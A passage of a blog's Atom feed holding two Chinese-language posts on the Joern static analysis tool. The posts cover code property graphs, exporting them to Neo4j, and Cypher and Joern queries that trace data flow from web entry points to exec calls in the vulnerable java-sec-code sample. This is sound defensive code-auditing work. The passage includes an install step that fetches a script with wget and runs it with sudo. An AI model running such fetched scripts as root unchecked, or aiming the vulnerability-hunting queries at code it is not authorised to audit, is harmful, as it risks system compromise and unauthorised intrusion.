rel="noopener">https://neo4j.com/docs/cypher-manual/current/clauses/</a></li></ul><p>简单来讲<strong>Cypher中对应SQL的语句关系有几个比较特别的</strong>，首先就是MATCH和where。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># SQL</span></span><br><span class="line">select Person <span class="keyword">from</span> user where born = <span class="string">'beijing'</span></span><br><span class="line"><span class="comment"># Cypher</span></span><br><span class="line">MATCH (a:Person)-[:BORN]-&gt;(b:Location &#123;city:'beijing'&#125;) RETURN a,b</span><br></pre></td></tr></table></figure><p>MATCH和where在两种查询语句中是类似的功能，其中的区别就是<strong>MATCH匹配的是图中节点之间的关系。Cypher语法比较强调节点之间的关系</strong>，比如-就是无方向关系，-&gt;就是有方向关系。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">match </span><br><span class="line">  (node)-[relationship]-&gt;(node)</span><br><span class="line">where</span><br><span class="line">  （node  |  relationship)</span><br><span class="line"><span class="keyword">return</span> </span><br><span class="line">    (node | relationship)</span><br></pre></td></tr></table></figure><p>其他的比如创建节点、删除节点、创建关系、搜索匹配的节点以及关系等等就不赘述了，算是比较符合理解的语言逻辑。</p><p>而相对于普通的数据库来说，<strong>图数据库有着可能是一种优势的特性，就是可以直接通过Neo4j的浏览器直接操作图内容以及结构。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725125.png" alt="img"></p><p>直接<strong>用鼠标点击各个节点查看对应的属性以及它们之间的关系</strong>，并且可以直接拖动他们。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725248.png" alt="img"></p><p>点击节点下面的按钮，可以直接<strong>查看到节点连接到的其他节点</strong>，很方便也很直观。</p><h1 id="Joern与Neo4J"><a href="#Joern与Neo4J" class="headerlink" title="Joern与Neo4J"></a>Joern与Neo4J</h1><p>前面说了，<strong>Joern使用了自己做的OverflowDBl来作为图数据库存储CPG</strong>，但CPG本身没有什么特异性，也就意味着他可以在任意一种图数据库上导入。</p><p>而Joern本身是自带了这个功能的，就是joern-export。<strong>它支持你导出Joern的CPG到neo4j  , graphml, graphson 和 graphviz dot。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">./joern-export --repr=all --format=neo4jcsv</span><br><span class="line">./joern-export --repr=all --format=graphml</span><br><span class="line">./joern-export --repr=all --format=graphson</span><br><span class="line">./joern-export --repr=all --format=dot</span><br></pre></td></tr></table></figure><p>要使用joern-export导出数据的话，<strong>需要指定CPG的位置</strong>，这个东西会存在<strong>Joern目录下的workspace</strong>当中，并且需要指定output，默认是./out。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725713.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726073.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725960.png" alt="img"></p><p>然后我们可以想办法<strong>把这些csv文件导入到Neo4j当中</strong>。当然你可以用一些自己的方式导入，但joern的这个图还挺麻烦的，主要是<strong>neo4j导入复杂结构数据需要指定好各种csv文件的关联。</strong></p><p>但joern当然也给出了导入的办法，在生成文件的时候会<strong>给出一个导入命令的范例</strong>，照着范例就可以搞定了。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725691.png" alt="img"></p><p>首先joern导入数据是有限制的，<strong>只能导入import目录下的文件</strong>，这个import文件一般会在对应链接的server目录下面，如果你使用的是neo4j的desltop浏览器，那么你可以直接打开对应的import目录，并把文件复制过去。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725662.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725283.png" alt="img"></p><p>除了文件以外，还有就是这个/bin/cypher-shell的位置，<strong>这个脚本就在对应链接目录的bin下</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725399.png" alt="img"></p><p>然后构造对应的find命令生成执行导入即可，其实它的原理也比较简单，就是<strong>依次执行*_cypher.csv文件中的命令，然后导入header和data。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221725408.png" alt="img"></p><p>最终导入的数据就是这样的</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726709.png" alt="img"></p><h1 id="用cypher在Neo4J上查询漏洞"><a href="#用cypher在Neo4J上查询漏洞" class="headerlink" title="用cypher在Neo4J上查询漏洞"></a>用cypher在Neo4J上查询漏洞</h1><p>当我们把CPG导入到Neo4J上之后，理论上来说我们可以用cypher来完成我们在Joern中做的所有工作。</p><p>这里还是拿上篇文章中用到的RCE代码来举例子。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726076.png" alt="img"></p><p>对应Joern的语句为</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter</span><br><span class="line"></span><br><span class="line">def sink = cpg.call.name("exec")</span><br></pre></td></tr></table></figure><p>首先匹配注解节点满足.*Mapping的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MATCH (n:ANNOTATION) where n.NAME=~<span class="string">".*Mapping"</span> RETURN n LIMIT <span class="number">25</span></span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726708.png" alt="img"></p><p>然后找这些对应节点关联的方法</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MATCH (m:METHOD)-[:AST]-&gt;(n:ANNOTATION) where n.NAME=~".*Mapping" RETURN n LIMIT 25</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726919.png" alt="img"></p><p>然后找一下对应调用exec方法的节点</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MATCH (n:CALL) where n.NAME=<span class="string">"exec"</span> RETURN n LIMIT <span class="number">25</span></span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726948.png" alt="img"></p><p>然后我们把两个节点连接起来，并查找最短路径，这里的[*..10]表示最长不超过10个关系</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MATCH (p1:METHOD)-[:AST]-&gt;(n:ANNOTATION),(p2:CALL),p=shortestpath((p1)-[*..10]-(p2)) where n.NAME=~".*Mapping" and p2.NAME="exec" RETURN p LIMIT 25</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308221726967.png" alt="img"></p><p>这里范例算是比较简单的，所以用这个还算比较简单的语句就可以查询到结果，正好对应漏洞利用链。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在上篇文章里，我们从Joern入手大致介绍了&lt;strong&gt;CPG(Code Property Graph)&lt;/strong&gt;的设计理念和简单逻辑&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lorexxar.cn/2023/08/21/joern-and-cpg/&quot;&gt;https://lorexxar.cn/2023/08/21/joern-and-cpg/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但实际上来说，如果想要更深入的了解Joern，&lt;strong&gt;CPG和图数据库&lt;/strong&gt;是绕不开的一个话题。CPG作为一种&lt;strong&gt;代码属性图&lt;/strong&gt;，就必须寻找一种图数据库作为载体，就像我们常用的数据和SQL数据库的关系一样。&lt;/p&gt;
&lt;p&gt;旧版本的Joern使用的&lt;strong&gt;Gremlin&lt;/strong&gt;，但后来的开发中换成了&lt;strong&gt;OverflowDB&lt;/strong&gt;，在joern中也完全支持使用&lt;strong&gt;OverflowDB的查询语法&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ShiftLeftSecurity/overflowdb&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/ShiftLeftSecurity/overflowdb&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但属性图本身没有什么特异性，比较常见的比如&lt;strong&gt;Neo4J，OrientDB&lt;/strong&gt;或者&lt;strong&gt;JanesGraph&lt;/strong&gt;都支持CPG的表现形式。&lt;/p&gt;
&lt;p&gt;但，在这之前，我们首先需要知道，&lt;strong&gt;为什么是图？&lt;/strong&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
    <category term="cpg" scheme="https://lorexxar.cn/tags/cpg/"/>
    
  </entry>
  
  <entry>
    <title>深入浅出Joern（一）Joern与CPG是什么？</title>
    <link href="https://lorexxar.cn/2023/08/21/joern-and-cpg/"/>
    <id>https://lorexxar.cn/2023/08/21/joern-and-cpg/</id>
    <published>2023-08-21T06:25:23.000Z</published>
    <updated>2023-08-22T08:42:26.000Z</updated>
    
    <content type="html"><![CDATA[<p>从人们开始探索代码扫描这件事情开始，市面上就在不断地诞生着各种各样的工具，经过了几年的演变以及发展，对于<strong>白盒代码扫描</strong>这件事情来说，大家的观念也在逐渐趋同。</p><p>无论是基于<strong>IR(Intermediate Representation)</strong>、<strong>AST(abstract syntax trees)</strong>、<strong>CFG(control flow graphs)</strong>、<strong>PFG(program dependence graphs)</strong>，又或者是其他的什么中间态。白盒代码扫描工具都在这个基础上做<strong>模拟执行、污点传播</strong>等等方案来分析挖掘漏洞。</p><p>而随着<strong>CodeQL的概念</strong>逐渐被大家接受之后，现在的代码扫描工具越来越趋近于将<strong>底层和上层拆解开来</strong>，由底层的引擎将代码统一化处理，然后使用者在上层通过编写规则或者语句就可以。主流的<strong>CodeQL、Checkmarx</strong>其实都使用了类似的方案。今天要说的<strong>Joern</strong>也是如此。</p><p><strong>今天介绍的Joern有什么特殊的呢？</strong></p><p>首先CodeQL本身不开源只能使用，偏偏微软还做了商业化限制，以微软喜欢秋后算账的风格来讲，实在无法确定深入研究CodeQL是否值得。</p><p>除此之外，市面上的很多白盒扫描工具其实是<strong>非静态的</strong>，扫描的时候不但需要配置复杂的运行环境，而且<strong>本身可能依赖编译过程</strong>，无论是自己使用还是商业化这都非常不实用。</p><p>个人认为白盒工具有着几个很重要的点</p><ul><li><strong>静态扫描</strong>，<strong>静态扫描的优势和便利程度</strong>才是白盒比较优势的一环，毕竟白盒不是灰盒，如果对编译环境和运行环境有依赖那为什么不使用更准确的灰盒</li><li><strong>扫描速度</strong>，虽然这点是很多商业化白盒软件的通病，但无论在哪家公司的DevSecOps中，最终目标肯定是把安全检测加载上线前，那么无论是1分钟、3分钟还是5分钟，<strong>扫描速度会是第一优先级</strong>，比如CheckMarx动辄几小时的扫描肯定是不现实的</li><li><strong>可diy性</strong>，当然对于大部分人来说这点其实并不是很重要，但能对引擎进行深入改造会是优化开发非常重要的一点，<strong>joern是开源的</strong>，在这方面他有很大的优势</li><li><strong>可拓展性</strong>，市面上大部分的白盒扫描工具动辄支持几十种语言，比如说snoarqube这种，但实际上大部分拓展语言只支持非常简单的正则拓展，<strong>我一直觉得现代白盒软件很重要的一条路就是走通用性</strong>，这也是比较有名的一些白盒工具都选择的路，在白盒扫描过程中会刻意将统一结构拆分出去再做分析扫描。</li></ul><p>今天介绍的joern的其实就是这类工具的一员，他最大的特点其实就是开源。</p><a id="more"></a><h1 id="joern"><a href="#joern" class="headerlink" title="joern"></a>joern</h1><p>joern是ShiftLeft 开发的<strong>一款基于CPG制作的白盒静态扫描工具</strong>，诞生的时间不算早应该就是2021年（具体记不清了）</p><ul><li><a href="https://github.com/joernio/joern" target="_blank" rel="noopener">https://github.com/joernio/joern</a></li></ul><p>和其他工具不同，他引用了一种叫做CPG(Code Property Graph)的中间结构作为处理结构，是由<strong>AST + CFG + PDG</strong>叠加而来，最终生成一张图，然后在图的基础上做分析和检测。<strong>和传统的基于单一AST或者CFG的工具相比，图结构一方面能承载更多的代码信息</strong>，另一方面，<strong>CPG也让后续的分析程序更具有通用性。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430788.png" alt="img"></p><p>这就是一张很经典的范例图，用来展示CPG和其他几种的区别。</p><p>另一方面，在用户使用的Joern命令行上，Joern构建了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。</p><p>至于OverflowDB具体是什么，不是很关键，我们只需要了解joern就行了。</p><h1 id="什么是CPG？"><a href="#什么是CPG？" class="headerlink" title="什么是CPG？"></a>什么是CPG？</h1><p>关于CPG可以看一篇<strong>官方写的基础的理论文章</strong>。</p><ul><li><a href="https://blog.shiftleft.io/why-your-code-is-a-graph-f7b980eab740" target="_blank" rel="noopener">https://blog.shiftleft.io/why-your-code-is-a-graph-f7b980eab740</a></li></ul><p>以下部分内容大量取材于上面这篇文章。</p><p>还有就是比较重要的<strong>joern的CPG标准文档</strong></p><ul><li><a href="https://cpg.joern.io/" target="_blank" rel="noopener">https://cpg.joern.io/</a></li><li><a href="https://github.com/ShiftLeftSecurity/codepropertygraph" target="_blank" rel="noopener">https://github.com/ShiftLeftSecurity/codepropertygraph</a></li></ul><p>在介绍CPG之前，首先要先对图结构有个基础的概念，无论是图数据库又或者是图结构其实说白了就是把<strong>节点以及节点之间的关系以图的方式展示出来</strong>。就比如下图表明A和B就是朋友，B和C也是朋友。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430982.png" alt="img"></p><p>换到代码中说白了就是通过<strong>图的方式展示代码中不同节点之间的关系</strong>，而这个节点可能是代码块，可能是函数块，可能是变量块，他们之间会<strong>通过边的属性来展示节点之间的关系</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430247.png" alt="img"></p><p>而代码在编译执行前会经过几个复杂的步骤，在经过<strong>最简单的词法分析和语法分析</strong>，代码就会被转为<strong>AST(abstract syntax trees)</strong>也就是抽象语法树，这也是普遍会用到的通用结构，因为从AST开始不同语言的差异就是就很小了，也会有非常标准的结构。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430840.png" alt="img"></p><p>AST则是一个经典的树结构，这算是数据结构当中非常经典的一个，<strong>通过遍历树结构我们就能得到更底层的某种结构</strong>，比如IR就是这类结构的一种，这种结构会具有<strong>更强的执行顺序</strong>，相应的也会模糊掉一些语法。</p><p>而<strong>CFG(**</strong>control flow graphs<strong>**)是一种更强调执行流的结构</strong>，节点和节点之间只有调用关系，而且会有<strong>比较强的代码执行顺序</strong>，<strong>边上会展示执行相应的条件</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430933.png" alt="img"></p><p>而另一个比较有用但是比较少见的就是<strong>PDG(**</strong>program dependence graphs<strong>**)</strong>，PDF也是一种图关系，<strong>通过图来展示代码节点之间的依赖关系，他更强调的是节点和节点之间的关系</strong>，节点之间的边会<strong>展示数据节点的影响关系</strong>，所以图结构会更复杂，但会更易于寻找节点之间的关系。</p><p>下面这张图就是一张PDG，上面的两个对于x和y的定义会单向影响后续节点的变化，这种联动关系很清晰，这就是PDG的优势。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430602.png" alt="img"></p><p>但<strong>无论是AST、CFG、PDG或者是IR等数据结构</strong>，又或者是某个原创的中间结构，他们的目标都是一致的，就是<strong>用更通用的方式解释代码</strong>，这整体可以算作编译原理的前端。它本质上没有实际的区别，无非就是哪种通用结构被拿来做代码分析。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430169.png" alt="img"></p><p><strong>而CPG在这个环境下主体由AST、CFG、PDG多种结构融合而来</strong>，我觉得它最大的特点就是利用了<strong>图结构庞大的信息容纳能力</strong>（毕竟图本身并不是二维的，图结构可以很复杂），可以保证我们在代码分析中遇到任何情况都可以在CPG中找到相应的答案和场景。这是图结构相比其他中间结构解决方案难以比拟的优势。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211430003.png" alt="img"></p><h1 id="joern做了什么？"><a href="#joern做了什么？" class="headerlink" title="joern做了什么？"></a>joern做了什么？</h1><p>而joern作为一个白盒的代码分析工具，主要做了两部分。</p><p>第一部分是<strong>实现了一种方案来比较通用的代码转CPG</strong>，他的原理也很简单，用已经有的某个组件来实现语义分析部分，然后把不同的AST转成统一的AST，最终转成目标CPG。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431754.png" alt="img"></p><p>而第二部分就是，<strong>在已有的CPG基础上，实现了一套查询语法，类似CodeQL</strong>，这种，允许通过这种语法来构造不同的查询逻辑实现最终的目标</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&gt; def source = cpg.identifier.typeFullName(".*HttpServletRequest.*")</span><br><span class="line">&gt; def sink = cpg.call("exec|eval").argument</span><br><span class="line">&gt; sink.reachableBy(source)</span><br></pre></td></tr></table></figure><p>拿上面这段代码举例子就是，<strong>寻找java当中的代码执行漏洞范围，通过简单的指定source和sink就能实现漏洞挖掘，中间的步骤被封装起来</strong>。</p><p>它同样支持你<strong>使用复杂的Scala脚本进行代码的扫描和处理</strong>。通过Scala可以实现更复杂的查询和数据流分析。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431666.png" alt="img"></p><p>相比其他的某个白盒工具来说，joern的优势有一点儿非常特例，这点在CodeQL中也有很强烈的体现，就是<strong>大部分的白盒扫描工具对于底层的包裹非常严密</strong>，很多工具你只能简单的拿来扫描漏洞。</p><p>一方面你无法清楚的知道，<strong>从这次扫描中你做了什么事情得到了什么东西，甚至无法知道这些漏洞是怎么被扫描或者是没有被扫描到。</strong></p><p>另一方面，如果你的目标并不是单纯的扫描漏洞，而是<strong>想要通过工具辅助分析代码，比如想知道某个函数如何访问到，这种问题大概率没有答案。</strong></p><p>如果对Joern的设计理念感兴趣，可以看看设计者写的文章</p><ul><li><a href="https://blog.shiftleft.io/semantic-code-property-graphs-and-security-profiles-b3b5933517c1" target="_blank" rel="noopener">https://blog.shiftleft.io/semantic-code-property-graphs-and-security-profiles-b3b5933517c1</a></li></ul><p>或者看看设计师的PPT</p><ul><li><a href="https://github.com/joernio/workshops/blob/master/2021-RSA/RSA-LAB2-R08.pdf" target="_blank" rel="noopener">https://github.com/joernio/workshops/blob/master/2021-RSA/RSA-LAB2-R08.pdf</a></li></ul><h1 id="使用joern"><a href="#使用joern" class="headerlink" title="使用joern"></a>使用joern</h1><p>根据<strong>官网的文档</strong>，我们可以快捷的安装joern环境</p><ul><li><a href="https://github.com/joernio/joern" target="_blank" rel="noopener">https://github.com/joernio/joern</a></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">wget https://github.com/joernio/joern/releases/latest/download/joern-install.sh</span><br><span class="line">chmod +x ./joern-install.sh</span><br><span class="line">sudo ./joern-install.sh</span><br><span class="line">joern</span><br><span class="line"></span><br><span class="line">     ██╗ ██████╗ ███████╗██████╗ ███╗   ██╗</span><br><span class="line">     ██║██╔═══██╗██╔════╝██╔══██╗████╗  ██║</span><br><span class="line">     ██║██║   ██║█████╗  ██████╔╝██╔██╗ ██║</span><br><span class="line">██   ██║██║   ██║██╔══╝  ██╔══██╗██║╚██╗██║</span><br><span class="line">╚█████╔╝╚██████╔╝███████╗██║  ██║██║ ╚████║</span><br><span class="line"> ╚════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝</span><br><span class="line">Version: <span class="number">2.0</span><span class="number">.1</span></span><br><span class="line">Type `help` to begin</span><br><span class="line"></span><br><span class="line">joern&gt;</span><br></pre></td></tr></table></figure><p>windows也可以用同样的方式安装，当然你需要有能跑sh的环境和wget/curl。</p><p>如果需要做joern做二次开发，还<strong>需要下载idea的scala插件</strong></p><ul><li><a href="https://plugins.jetbrains.com/plugin/1347-scala/versions/stable" target="_blank" rel="noopener">https://plugins.jetbrains.com/plugin/1347-scala/versions/stable</a></li></ul><p>joern的使用方法算是比较简单但是怎么用就要看需求了，可以多关注官网提供的很多查询语句帮助理解</p><ul><li><a href="https://queries.joern.io/" target="_blank" rel="noopener">https://queries.joern.io/</a></li></ul><p>这里我们下一个java-sec-code作为范例代码</p><ul><li><a href="https://github.com/JoyChou93/java-sec-code" target="_blank" rel="noopener">https://github.com/JoyChou93/java-sec-code</a></li></ul><p>导入到joern的方式也很简单</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431373.png" alt="img"></p><p>在运行代码的时候joern也给出了提示，<strong>如果想要扫描特别大的项目，建议把前端的cpg转化过程拆分出去。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javasrc2cpg.bat -J-Xmx8092m ../../java-sec-code/ --output D:\program\joern\joern-cli\workspace\java-sec-code\cpg.bin.zip</span><br></pre></td></tr></table></figure><p>然后在打开joern后将刚才生成的cpg导入进来</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">importCpg(<span class="string">"path/to/cpg"</span>)</span><br></pre></td></tr></table></figure><p>但其实这个转化CPG的过程不会太慢，因为<strong>Joern为了优化这个速度，是把转化和连接这两部分拆开做的</strong>，换句话说，就是第一步只是把代码转成了CPG，而其中节点之间的关系并不会在转化过程中连接，而是在语句查询过程中完成，这大大节省了扫描所需的时间。</p><p>这里转化的CPG会存在workspace里，用workspace命令可以看到之前转过的所有cpg。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431257.png" alt="img"></p><p>你可以用open(“java-sec-code”)来激活对应的项目</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211451236.png" alt="img"></p><p>这里最终生成的<strong>cpg变量就是代码的CPG</strong>，所有的代码数据都会存在这个变量，比如cpg.metaData就是基础元数据，一般来说后面会加个.l，<strong>这个l就是tolist，结果会转成list格式</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431883.png" alt="img"></p><p>比较重要的一点是，joern的shell模式<strong>为了易用性是优化了tab的</strong>，如果不知道命令可以多tab补全命令，会有一个实时的补全，很实用。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431533.png" alt="img"></p><p><strong>通过method可以获取cpg中的所有方法</strong>，并获取节点的详细信息。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.take(<span class="number">1</span>).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431786.png" alt="img"></p><p>信息太多，你还可以<strong>构造返回的map结构</strong>，比如行号，方法名，对应的代码。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.map(n=&gt;List(n.lineNumber, n.name, n.code)).take(1).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431839.png" alt="img"></p><p>查询<strong>调用了getRequestBody的方法</strong>，并获取文件名、行数、方法名</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.name("getRequestBody").caller.map(n=&gt;List(n.filename, n.lineNumber, n.fullName, n.code)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431699.png" alt="img"></p><p>这里第一行就表示，<strong>在XStreamRce.java这个文件的23行调用了getRequestBody这个函数</strong>。当然这里我们仅仅找到了一个入口，想要确定这是否可能是个问题，还需要<strong>追这个入口(source)是否可以通往敏感函数点</strong>，那我们就需要对数据流做分析了。</p><p>首先我们需要知道<strong>如何访问到调用了getRequestBody的方法</strong>，由于这是个SpiringBoot项目，所以可以从<strong>@RequestMapping的注解</strong>入手，先查询出所有的web入口。</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.where(_.annotation.name(".*Mapping")).map(n=&gt;(n.name, n.annotation.code.l)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431902.png" alt="img"></p><p>然后我们可以<strong>在@RequestMapping的节点</strong>和<strong>调用getRequestBody的方法节点</strong>中间寻找路径，在Joern它提供了两个方案</p><ul><li><strong>正向搜索</strong>，从每一个RequestMapping的节点向下搜索寻找有没有调用getRequestBody方法的节点</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.where(_.annotation.name(<span class="string">".*Mapping"</span>)).repeat(_.callee)(_.until(_.name(<span class="string">"getRequestBody"</span>))).l</span><br></pre></td></tr></table></figure><ul><li><strong>反向搜索</strong>，从调用getRequestBody方法的节点向上搜索寻找@RequestMapping的注解</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.name(<span class="string">"getRequestBody"</span>).repeat(_.caller)(_.until(_.annotation.name(<span class="string">".*Mapping"</span>))).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431515.png" alt="img"></p><p><strong>关于正向搜索和反向搜索的优劣其实没有特别简单的优劣性</strong>，最简单的一个方式是<strong>从少的节点往多的节点找</strong>，这是最简单的也最不容易浪费资源，只需要执行少的节点数量次数即可。</p><p>这里使用的语法是<strong>repeat…until…</strong>语法，大意是一直<strong>向上寻找调用上级/下级</strong>，<strong>直到满足某个条件为止</strong>。</p><p>上面的语法只是显示了满足条件的节点，但<strong>真正到漏洞挖掘中</strong>，我们必须<strong>在source和sink中找到数据流</strong>才行，当然在Joern中这个也给了非常简单的基础使用方法，也就是<strong>reachableBy</strong>。</p><p>这里用一个比较简单的例子，是java-sec-code最简单的rce例子</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431412.png" alt="img"></p><p>首先我们<strong>指定exec调用点为sink</strong>，然后照例<strong>指定含有Mapping注解的方法参数为source</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter</span><br><span class="line"></span><br><span class="line">def sink = cpg.call.name("exec")</span><br></pre></td></tr></table></figure><p>然后直接<strong>用reachableBy来做数据流分析</strong>获取</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sink.reachableByFlows(source).p</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308211431684.png" alt="img"></p><p>可以看到这里已经找到了刚才那条数据流。</p><p>当然静态分析远不止这么简单，<strong>是否有效，是否被过滤都是问题</strong>，而且数据流当中也会有复杂的问题变化，而joern在这方面是提供了<strong>sc脚本的方案来构建复杂的查询逻辑</strong>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./joern --script test.sc --params cpgFile=/src.path.zip,outFile=output.log</span><br></pre></td></tr></table></figure><p>这部分的内容后面再讲</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;从人们开始探索代码扫描这件事情开始，市面上就在不断地诞生着各种各样的工具，经过了几年的演变以及发展，对于&lt;strong&gt;白盒代码扫描&lt;/strong&gt;这件事情来说，大家的观念也在逐渐趋同。&lt;/p&gt;
&lt;p&gt;无论是基于&lt;strong&gt;IR(Intermediate Representation)&lt;/strong&gt;、&lt;strong&gt;AST(abstract syntax trees)&lt;/strong&gt;、&lt;strong&gt;CFG(control flow graphs)&lt;/strong&gt;、&lt;strong&gt;PFG(program dependence graphs)&lt;/strong&gt;，又或者是其他的什么中间态。白盒代码扫描工具都在这个基础上做&lt;strong&gt;模拟执行、污点传播&lt;/strong&gt;等等方案来分析挖掘漏洞。&lt;/p&gt;
